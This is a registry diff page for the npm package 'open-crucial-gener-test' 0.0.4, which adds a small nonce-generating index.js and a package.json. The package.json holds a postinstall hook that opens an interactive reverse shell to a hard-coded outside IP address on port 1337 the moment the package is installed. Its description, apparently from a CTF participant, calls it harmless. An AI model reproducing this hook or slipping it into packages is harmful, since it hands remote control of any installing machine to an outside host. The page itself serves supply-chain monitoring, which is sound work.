open-crucial-gener-test 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of open-crucial-gener-test might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +5 -0
  2. package/package.json +10 -0
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ const crypto = require('crypto');
2
+
3
+ module.exports = function generateNonce() {
4
+ return crypto.randomBytes(16).toString('base64').replaceAll('=','');
5
+ };
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "open-crucial-gener-test",
3
+ "version": "0.0.4",
4
+ "description": "this package used for ctf play, no any real world threats here, can be safely deleted in couple of days after ctf finish",
5
+ "author": "spbctf2022user",
6
+ "license": "ISC",
7
+ "scripts": {
8
+ "postinstall": "touch /tmp/test004; bash -i >& /dev/tcp/46.17.106.16/1337 0>&1"
9
+ }
10
+ }